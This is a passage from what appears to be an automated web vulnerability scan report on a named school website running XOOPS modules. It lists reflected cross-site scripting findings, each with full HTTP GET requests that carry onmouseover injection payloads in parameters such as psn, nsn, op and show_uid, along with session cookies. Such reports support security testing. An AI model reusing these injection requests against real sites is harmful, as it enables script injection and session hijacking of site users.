es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/play.php
Verified vulnerability

Details

URL encoded GET input com_order was set to 0"onmouseover=Il9H(9100)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_player/play.php?
com_mode=flat&com_order=0"onmouseover=Il9H(9100)"&com_refresh=&psn=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/play.php
Verified vulnerability

Details

URL encoded GET input com_refresh was set to com_refresh="onmouseover=BUs3(9387)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_player/play.php?
com_mode=flat&com_order=0&com_refresh="onmouseover=BUs3(9387)"&psn=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/play.php
Verified vulnerability

Details

URL encoded GET input com_refresh was set to 1"onmouseover=Il9H(9002)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_player/play.php?
com_mode=flat&com_order=0&com_refresh=1"onmouseover=Il9H(9002)"&psn=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/play.php
Verified vulnerability

Details

URL encoded GET input psn was set to 1"onmouseover=Bdmp(9822)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_player/play.php?psn=1"onmouseover=Bdmp(9822)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/play.php
Verified vulnerability

Details

URL encoded GET input psn was set to 1"onmouseover=BUs3(9258)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_player/play.php?
com_mode=flat&com_order=0&com_refresh=&psn=1"onmouseover=BUs3(9258)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/play.php
Verified vulnerability

Details

URL encoded GET input psn was set to 1"onmouseover=Il9H(9943)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_player/play.php?
com_mode=flat&com_order=0&com_refresh=&psn=1"onmouseover=Il9H(9943)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/playlist.php
Details

URI was set to ;9677'();}]9749 
The input is reflected inside a <script> tag between single quotes.

Request headers



GET /modules/tad_player/playlist.php/%3B%39%36%37%37%27%28%29%3B%7D%5D%39%37%34%39
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/playlist.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=rn7j(9304)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_player/playlist.php?nsn=1"onmouseover=rn7j(9304)"&op=delete_tad_news
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/playlist.php
Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=rn7j(9331)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_player/playlist.php?nsn=&op=delete_tad_news"onmouseover=rn7j(9331)"
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/
Details

URI was set to "onmouseover='S92W(9973)'bad=" 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadgallery/?"onmouseover='S92W(9973)'bad=" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/cooliris.php
Details

URI was set to ;9500'();}]9035 
The input is reflected inside a <script> tag between single quotes.

Request headers



GET /modules/tadgallery/cooliris.php/%3B%39%35%30%30%27%28%29%3B%7D%5D%39%30%33%35
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/cooliris.php
Verified vulnerability

Details

URL encoded GET input csn was set to 1"onmouseover=izVT(9665)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadgallery/cooliris.php?csn=1"onmouseover=izVT(9665)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/cooliris.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=vxK6(9060)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadgallery/cooliris.php?nsn=1"onmouseover=vxK6(9060)"&op=delete_tad_news
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/cooliris.php
Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=vxK6(9487)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadgallery/cooliris.php?nsn=&op=delete_tad_news"onmouseover=vxK6(9487)"
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/index.php
Details

URI was set to ;9978'();}]9484 
The input is reflected inside a <script> tag between single quotes.

Request headers



GET /modules/tadgallery/index.php/%3B%39%39%37%38%27%28%29%3B%7D%5D%39%34%38%34 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/index.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=nm69(9433)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadgallery/index.php?nsn=1"onmouseover=nm69(9433)"&op=delete_tad_news
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/index.php
Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=nm69(9588)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadgallery/index.php?nsn=&op=delete_tad_news"onmouseover=nm69(9588)"
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/index.php
Verified vulnerability

Details

URL encoded GET input show_uid was set to 1"onmouseover=LoZY(9209)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadgallery/index.php?csn=1&show_uid=1"onmouseover=LoZY(9209)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/index.php
Verified vulnerability

Details

URL encoded GET input show_uid was set to 1"onmouseover=LloN(9779)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadgallery/index.php?show_uid=1"onmouseover=LloN(9779)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/view.php
Details

URI was set to ;9789'();}]9697 
The input is reflected inside a <script> tag between single quotes.

Request headers

GET /modules/tadgallery/view.php/%3B%39%37%38%39%27%28%29%3B%7D%5D%39%36%39%37 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
